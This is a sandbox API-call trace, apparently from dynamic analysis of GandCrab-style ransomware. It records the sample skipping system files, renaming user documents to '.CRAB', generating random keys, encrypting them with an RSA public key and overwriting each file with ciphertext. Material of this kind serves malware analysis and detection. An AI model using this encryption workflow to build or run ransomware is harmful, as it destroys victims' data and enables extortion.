	[0127.831] lstrcmpW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="..") returned 1
	[0127.831] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="Zb17Uxn_tqlTLxelTlIM.rtf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf"
	[0127.831] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.831] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf") returned 116
	[0127.834] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf") returned 116
	[0127.834] lstrlenW (lpString=".rtf") returned 4
	[0127.834] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.834] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rtf ") returned 5
	[0127.834] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf") returned 116
	[0127.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf") returned 116
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="desktop.ini") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="autorun.inf") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="ntuser.dat") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="iconcache.db") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="bootsect.bak") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="boot.ini") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="ntuser.dat.log") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="thumbs.db") returned 1
	[0127.835] lstrcmpiW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.835] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.835] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB") returned 121
	[0127.836] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\zb17uxn_tqltlxeltlim.rtf")) returned 0x20
	[0127.836] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf", dwFileAttributes=0x20) returned 1
	[0127.836] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\zb17uxn_tqltlxeltlim.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\zb17uxn_tqltlxeltlim.rtf.crab")) returned 1
	[0127.837] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.837] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB"
	[0127.837] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB.CRAB"
	[0127.837] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0127.840] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.840] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.841] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.841] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0127.841] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.841] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.841] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0127.844] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.844] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.844] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.844] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0127.844] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0127.845] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.845] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.845] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.845] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e738) returned 1
	[0127.848] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318f5f8) returned 1
	[0127.848] CryptGetKeyParam (in: hKey=0x318f5f8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.848] CryptEncrypt (in: hKey=0x318f5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0127.849] GetLastError () returned 0x0
	[0127.849] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0127.849] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0127.851] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318f938) returned 1
	[0127.851] CryptGetKeyParam (in: hKey=0x318f938, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.851] CryptEncrypt (in: hKey=0x318f938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0127.852] GetLastError () returned 0x0
	[0127.852] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.852] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\Zb17Uxn_tqlTLxelTlIM.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\zb17uxn_tqltlxeltlim.rtf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x22c
	[0127.852] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.853] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.853] ReadFile (in: hFile=0x22c, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x1832e, lpOverlapped=0x0) returned 1
	[0127.866] VirtualAlloc (lpAddress=0x0, dwSize=0x18330, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.867] VirtualAlloc (lpAddress=0x0, dwSize=0x18330, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0127.869] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.869] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xfffe7cd2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.869] WriteFile (in: hFile=0x22c, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x18330, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x3149f14*=0x18330, lpOverlapped=0x0) returned 1
	[0127.870] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.870] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.873] WriteFile (in: hFile=0x22c, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.873] WriteFile (in: hFile=0x22c, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.873] WriteFile (in: hFile=0x22c, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0127.873] CloseHandle (hObject=0x22c) returned 1
	[0127.873] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.873] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.873] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.873] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.873] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.874] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.874] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0127.874] FindClose (in: hFindFile=0x318f438 | out: hFindFile=0x318f438) returned 1
	[0127.874] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.874] lstrcmpW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2=".") returned 1
	[0127.874] lstrcmpW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="..") returned 1
	[0127.874] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="fHpIdw_HpQqOALE9vZ2P.pps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps"
	[0127.874] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.874] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps") returned 101
	[0127.874] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps") returned 101
	[0127.874] lstrlenW (lpString=".pps") returned 4
	[0127.874] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.874] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pps ") returned 5
	[0127.874] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps") returned 101
	[0127.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps") returned 101
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="desktop.ini") returned 1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="autorun.inf") returned 1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="ntuser.dat") returned -1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="iconcache.db") returned -1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="bootsect.bak") returned 1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="boot.ini") returned 1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="ntuser.dat.log") returned -1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="thumbs.db") returned -1
	[0127.875] lstrcmpiW (lpString1="fHpIdw_HpQqOALE9vZ2P.pps", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.875] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.875] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB") returned 106
	[0127.875] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fhpidw_hpqqoale9vz2p.pps")) returned 0x20
	[0127.875] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps", dwFileAttributes=0x20) returned 1
	[0127.875] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fhpidw_hpqqoale9vz2p.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fhpidw_hpqqoale9vz2p.pps.crab")) returned 1
	[0127.876] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.876] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB"
	[0127.876] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB.CRAB"
	[0127.876] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0127.878] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.879] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.879] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0127.879] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.879] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.879] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e5a0) returned 1
	[0127.881] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.881] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.881] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.881] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0127.881] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0127.881] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.881] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.881] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.882] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0127.884] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f438) returned 1
	[0127.884] CryptGetKeyParam (in: hKey=0x318f438, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.884] CryptEncrypt (in: hKey=0x318f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0127.885] GetLastError () returned 0x0
	[0127.885] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0127.885] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0127.887] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318fc38) returned 1
	[0127.887] CryptGetKeyParam (in: hKey=0x318fc38, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.887] CryptEncrypt (in: hKey=0x318fc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0127.888] GetLastError () returned 0x0
	[0127.888] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.888] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\fHpIdw_HpQqOALE9vZ2P.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fhpidw_hpqqoale9vz2p.pps.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0127.888] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.889] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.889] ReadFile (in: hFile=0x140, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0xcb99, lpOverlapped=0x0) returned 1
	[0127.904] VirtualAlloc (lpAddress=0x0, dwSize=0xcba0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.905] VirtualAlloc (lpAddress=0x0, dwSize=0xcba0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.906] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.907] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff3467, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.907] WriteFile (in: hFile=0x140, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314a9bc*=0xcba0, lpOverlapped=0x0) returned 1
	[0127.907] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.908] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.911] WriteFile (in: hFile=0x140, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
